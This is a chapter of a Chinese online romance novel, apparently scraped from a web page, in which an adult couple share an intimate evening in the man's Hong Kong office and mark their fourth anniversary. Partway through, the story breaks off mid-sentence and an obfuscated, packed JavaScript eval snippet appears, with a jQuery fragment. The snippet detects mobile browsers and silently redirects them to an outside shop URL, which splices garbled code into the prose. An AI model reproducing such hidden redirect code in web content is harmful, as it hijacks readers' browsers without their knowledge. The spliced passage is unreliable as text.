140. Chapter 140

作品:《冬日未央

    恋爱以来,冯玥第一次有机会来到男朋友的办公场所。偌大的办公室,她一个人在里面走来走去,看什么都颇为新奇。


    刨除读书生涯及Apollo实习的那两个月,冯玥长这么大参观私人办公室的次数寥寥无几。上一回似乎还是她很小的时候,周军假日加班,舍不得把女儿丢在家中,便带了她一块儿去单位。


    五六岁发生的经历,细节自然早已模糊。但有两桩事,冯玥可谓印象深刻。


    那会儿的周军尚需和一位同事共用一间办公室。同事那天也在,周军让女儿喊人叔叔。幼小的冯玥被那位叔叔的络腮胡子吓得不轻,一边往爸爸怀里躲,一边呜咽着发了声“叔叔”。


    第一桩回忆有些恐怖,然而另一桩却很美好。


    屋子里的两张办公桌,极易辨认出哪一张属于周军。因为其中一张桌面的透明玻璃下,压着几十张洗好的照片。每一个被定格住的幸福画面,冯玥都无比熟悉:有妈妈和她,有爸爸和她,有他们一家三口,还有不少是记录她成长的单人照。


    只不过十多年过去,时代变迁,记忆中那套展示相片的做法,如今已经极少出现在日常生活中。


    年代不同,城市的背景不同,拥有者的身份亦不同。此刻冯玥身处的这间单人办公室要比父亲当年的双人办公室大上许多,现代风的设计贵气十足。


    整面的落地窗,无论从哪个角度往外看,视野都相当不错。房间里的陈设不多,每一件家具摆得恰到好处,兼顾实用与美观。


    冯玥卸了书包,放在沙发上。沿着实木桌绕了一圈,桌面的尺寸可观,上头却不过几样简洁到极致的办公用品。


    没挖掘到什么可玩儿的东西,待着实在无聊,楼下就是大片商业街,冯玥想着不如出去逛逛。


    不成想,她误打误撞地居然进到了某个文创品牌开在香港的唯一一家旗舰店。商铺上下三层,面积是她在海陵和兰陵逛过的好几倍,架子上的不少货品都是之前没有见过的系列。


    有人逛得开心,根本不着急离开。有人却甚是没有耐心,连连短信催促。冯玥掐好时间,买完单就往回跑,绝不耽误男朋友准点下班。


    她这般守规矩,还能被挑出错来。


    被问“出门为什么不让Emily陪你?”时,冯玥迅即回道,“我成年了,又不是小孩子,让人跟着多不好意思。”


    “哦,你不是小孩子。小孩子才不会在玩具店流连忘返到不回家吃饭。”


    冯玥撇撇嘴,没有回应。地上那么大一只购物袋,确实不具备说服力。


    这趟计划之外的大采购,她买得可尽兴了。毛绒玩具对男孩子的吸引力不大,对女孩子来说却是心头宝。


    袋子里装了十二只,六只给自己,六只给巧雅。全是地域限定的版本,巧雅收到时,可不得乐坏了。


    “饿不饿?”


    “我不饿。”冯玥逛街时买了鱼丸填肚子,“你饿了吗,哥哥?”


    本想说“你要饿了,我们就去吃饭吧”,但这句话似乎没什么必要,因为冯瑄正身体力行地表达他有多饿。嘴巴被人堵得死死的,她不过勉强发出些含糊不清的单个音节。


    好半天才被允许自主呼吸,冯玥的脸红到不行,抓紧间隙进行谴责,整个人羞赧得厉害,态度委实强硬不起来。“你,你,外面有人,你别再亲了。”


    不满她的抗拒,哪怕仅仅轻微的抗拒,冯瑄将怀中的人搂得更紧。比委屈是吧,他难道不是更委屈?“玥玥,你自己说,你多少天没亲过我了?”


    这台词是不是不大对?他俩是不是反过来了?说好的霸道总裁的气质呢?冯玥忍不住笑场,马上反应过来不合适,识相地及时收声。


    “好好想想,你多久没让我亲过了?”冯瑄该是意识到不妥,重新问了一遍,倒是听不出尴尬。


    “……三个星期?”冯玥自认答案正确。


    冯瑄给出的却精准到了天数,“是二十四天。”


    “今天也算在内啊?”


    “不算吗?还有六个钟头今天就过去了。”


    行吧,你的说法严谨,是我输了。


    可冯玥这会儿只想抱抱,不想接吻。大庭广众下,拥抱就是她能接受的亲密行为的上限。


    然而冯瑄持有的观点和她的并不相同。新一轮的讨伐从额头开始,眼瞅着马上又要落到唇上。


    “哥哥,我饿了,先去吃饭好不好?Emily说她订了LungCourt,而且还是我们以前坐过的位子。”冯玥心里有亏欠感,见转移话题不成,又改为柔声安抚,“回家再亲亲嘛,晚上你想怎么亲就怎么亲。”


    男人的嘴角止不住地上扬,瞧把小姑娘给吓的,割地求饶的事儿都愿意做。“玥玥,Emily下午带你过来的时候,你没发现吗?”


    “发现什么?”跟着他的眼神指引,冯玥看向室外的大片办公区域,不明所以。临近六点,Emily的工位后面似乎没人。或许是下班了,这也没什么奇怪的。


    “那里,安的是单面玻璃。”


    “啊?”冯玥诧异不已,下一步便要走去验证。


    想当然冯瑄不会放她离开,低头继续先前中断的进程,这一回冯玥得知了真相,动作配合了不少。


    亲着亲着,阵地转移到沙发上。女孩儿被困在靠背与男友之间,前进、后退皆困难。冯玥渐渐适应,愈发迷恋,双手主动缠上他的脖颈。冯瑄却突然间离开,坐在她身边,大口喘息。


    发生了什么,俩人心知肚明。差一点擦枪走火,冯玥默不作声,等待男朋友自己恢复。


    “啊,你干嘛扒Luna的衣服!”冯玥无事可做,原本只是对着某处发呆,直到她定睛后才察觉一旁单人座椅上的异样。“Luna是个宝宝,她的围兜招你惹你了?”


    密闭的作案现场,嫌疑人圈定得毫不费力。冯玥起身去给Luna戴围兜,回头瞪了男朋友一眼,“那么大人了,做这么幼稚的事情!”


    冯瑄的身体本就没好,冯玥看他那一眼,反而使得情况加剧。他更难受了些,心中苦笑,兄弟可真没出息。嘴上却说了句“别招我”,妥妥地恶人先告状。


    冯玥可不惯着他,凑过去飞快地亲了下他的唇角,亲完就闪,毫不恋战。但再快也没法跟特种兵的速度比,她还没站直,就被人轻松地拉上了沙发。膝盖分跪在他两侧,除了四肢,其余的部位贴得那叫一个严丝合缝。


    “你干嘛?”


    “帮我压一会儿。”


    姑娘不傻,身下这触感,她压着管什么用?战线怕不是要越拉越久。可有人老僧入定般,不再有其他动作,冯玥也只好既来之则安之,陪他耗着。


    “你锁门了没有啊?”毕竟是在办公室,她这姿势谈不上雅观。


    此刻的冯瑄既享受又煎熬,掌心无意识地沿着背部曲线来回摩挲,“没锁。”


    啊?万一Emily没有下班,待会儿进


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166087|196716||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来跟他们打招呼怎么办?冯玥可丢不起那么大的人。双手撑在沙发靠背上,打算借力起身。


    “让你压着,没让你磨。”冯玥的脊柱从上到下再次承力,尤其尾椎处得到了重点关照。


    逃离敌营失败,冯玥羞愧难当,却又动弹不得。她是那个意思吗?谁要磨他了?怎么有这么不要脸的人!


    不想跟他说话,鸵鸟假装睡觉。冯瑄觉得好笑,摸一摸鸵鸟的后脑勺,“哥哥冤枉你了,你没想磨我。”


    认错行不通,小姑娘不给反应,冯瑄低声宽慰,“没有人会进来。玥玥,你现在的样子只有我能看到。”


    依旧已读不回。


    尾巴骨上驻守的那只手闲着也闲着,顺势捏了一把软肉,果然唤起短促的“呜”声。再捏一次,又一个“唔”声。


    冯瑄仿佛发觉一个有趣的小游戏,玩得不亦乐乎。正要试第五次时,身上的俘虏奋起反抗,可惜很快被镇压下去。


    “好好趴着。我不捏了,玥玥。聊会儿天好不好?怕是还得再过会儿才能出去。”


    小兔子乖顺了不少,不过指望她挑起话题是铁定指望不上。


    “花儿收到了吗?”


    “……嗯。”


    冯玥一上车就瞧见了那束玫瑰。虽然男朋友没出现,但看到玫瑰花的那股子开心完全不亚于看到自己的男朋友。


    爱不释手地把玩了半天,要不是担心丁生觉得她的反应有违常理,冯玥恨不得一路上都抱在怀里。


    “喜欢吗?”


    “喜欢,花儿好漂亮。”


    “那怎么没拿上来?”下午花送到时,冯瑄正在开会,冯玥口中的漂亮玫瑰,他倒是不曾见到。


    “上班时间啊,捧着一束红玫瑰多扎眼。我放在车里了,吃完饭再带回去。”


    “行,你喜欢的话,晚上可以泡个玫瑰浴,物尽其用。”


    冯玥顿时无语,这人的情趣和她的迥然不同。她心里想的是晚上给大哥发条短信,打听打听如何能让玫瑰保鲜更长的时间。


    “我不要泡澡,”冯玥的腰被牢牢锁住,但脑袋尚能自由活动,贴在衬衫一处蹭来蹭去,“你第一次送我的玫瑰花,用来泡澡多浪费啊。”


    “我以前是不是跟你说过来着,我有一个远房哥哥,他伺弄花花草草可厉害了,他家的阳台上种了好些玫瑰呢。可能是基因好吧,他爸爸就很擅长料理植物。你放心,我会向我哥好好请教的,保证把这束玫瑰养得很好,让它寿终正寝。”


    “你倒是有不少好哥哥。”冯瑄稍有一些吃味,心中怀疑所谓的远房哥哥很可能是冯玥的继兄。从小姑娘的神情来看,她似乎与这家人的关系颇为亲密。


    不过相较于她口中的亲戚,冯瑄更介意的是另一句话。什么叫第一次送她玫瑰花?女朋友倒打一耙,他却无处诉冤。


    是谁当年说过自己是花草杀手,严禁他送花来着?故而逢年过节,鲜花从不在他的送礼清单里。感情这么做就是个笑话!


    “玥玥,以后我每天给你送花,好不好?”


    “不要。”冯玥想也不想地拒绝。偶尔伺候一下还行,谁愿意长期担着一份苦差事?


    冯瑄不再坚持,讨女友欢心的法子千千万,比如此刻的方式。他喜欢,她也喜欢。室内再次响起粘腻的水声,只有唾液深度交换才能发得出这样的声音。


    “玥玥,四周年快乐。”


    “……唔……嗯……四周年快乐,哥哥。”